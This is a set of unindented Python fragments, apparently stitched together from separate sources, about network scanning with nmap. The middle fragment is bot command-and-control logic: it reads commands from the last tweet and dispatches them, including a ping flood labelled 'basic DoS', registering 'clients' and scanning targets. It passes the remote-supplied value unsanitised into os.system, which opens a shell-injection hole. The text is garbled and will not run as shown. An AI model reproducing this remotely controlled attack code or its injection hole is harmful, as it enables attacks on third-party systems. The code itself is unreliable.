cpe['vendor'] = serv.cpelist[0].get_vendor()
cpe['product'] = serv.cpelist[0].get_product()
cpe['version'] = serv.cpelist[0].get_version()
cpe['update'] = serv.cpelist[0].get_update()
cpe['edition'] = serv.cpelist[0].get_edition()
cpe['language'] = serv.cpelist[0].get_language()
service['cpe'] = cpe
services.append(service)
report_dict['services'] = services
json_data = dumps(report_dict)
return json_data
tweetComm = getLastTweet()
label, command, IPcode = tweetComm.split("|", 3)
IPaddr = decodeIP(IPcode)
#flood IP with pings - basic DoS
if command == "ds7656":
print "ping " + IPaddr
os.system("ping -c 10 " + IPaddr)
#add client to list
elif command == "ac73456":
print "add client " + IPaddr
file = open("clientList.txt", "a")
file.write(IPaddr)
file.close()
#scan IP
elif command == "sc26769":
print "scan " + IPaddr
nmap_proc = NmapProcess(targets="scanme.nmap.org", options="-sT")
nmap_proc.run_background()
while nmap_proc.is_running():
print("Nmap Scan running: ETC: {0} DONE: {1}%".format(
nmap_proc.etc, nmap_proc.progress))
sleep(2)
print("rc: {0} output: {1}".format(nmap_proc.rc, nmap_proc.summary))
else:
print "No valid command found"
class NmapScan(BaseScanner):
'''
Nmap scanning class, perform a couple of nmap scans of varying intensity on the specified target and reports this back in the form of ServiceResults and a SystemResult
'''
def __init__(self, ip, directory):
'''
set params, config, etc
'''
super(self.__class__, self).__init__(ip.strip())
if(directory.endswith("/")):
outputfile = directory + ip + "."
else:
outputfile = directory + "/" + ip + "."
self.FileBase = outputfile
c = AlxConfiguration()
self.currentScan = None
self.interval = 5
self.timer = None
self.running= False
self.hasQuit = False
q = Queue()
q.put(c.getQuickScanOpts())
q.put(c.getIntermediateScanOpts())
q.put(c.getUdpScanOpts())
q.put(c.getFullScanOpts())
self.scanQueue = q
def Execute(self):
#Start nmap in different thread
if not self.running:
self.timer = threading.Timer(self.interval, self._run)
self.timer.start()
self.running = True
def Quit(self):
#print("Quitting scan against {0}...").format(self.getIP())
self.timer.cancel()
self.running = False
self.timer = None
self.hasQuit = True
def _run(self):
if(self.running):
self.running = False
self.runNmap()
if(not self.hasQuit):
self.Execute()
def runNmap(self):
#gets executed every x seconds
#check current nmap scan -> if finished then parse results and start new one, otherwise wait and report status
if not self.currentScan:
#create new scan
self.createNewScan()
else:
#report current scan status
if(self.currentScan.is_running()):
print("Nmap scan for {0} ({2}) progress: {1}%").format(self.getIP(), self.currentScan.progress, self.currentScan.options)
pass
else:
if(self.currentScan.is_successful()):
self.ParseResults(self.currentScan)
self.currentScan = None
self.createNewScan()
pass
def createNewScan(self):
if self.scanQueue and not self.scanQueue.empty():
opt = self.scanQueue.get()
ip = self.getIP()
self.currentScan = NmapProcess(targets=ip, options=opt, safe_mode=False)
self.currentScan.run_background()
else:
self.Quit()
def ParseResults(self, nmapscan):
nmap_report = NmapParser.parse(nmapscan.stdout)
hresults = []
for h in nmap_report.hosts:
#assemble host
#address, os, distance, fingerprint, status
print("Assembling host data {0} {1} {2} {3} {4}".format(h.address, h.os_fingerprint, h.distance, h.status, h.mac))
hres = SystemResult.SystemResult(h.address,h.os_fingerprint, h.distance, h.status, h.mac)
hresults.append(hres)
for s in h.services:
#add services to host
if(s.state == "open"):
serv = ServiceResult.ServiceResult(s.port, s.protocol, s.reason, s.service, s.state, s.banner)
hres.addService(serv)
print("Found service {0} {1} {2} {3}").format(s.service, s.protocol, s.state, s.banner)
self.UpdateListeners(hresults)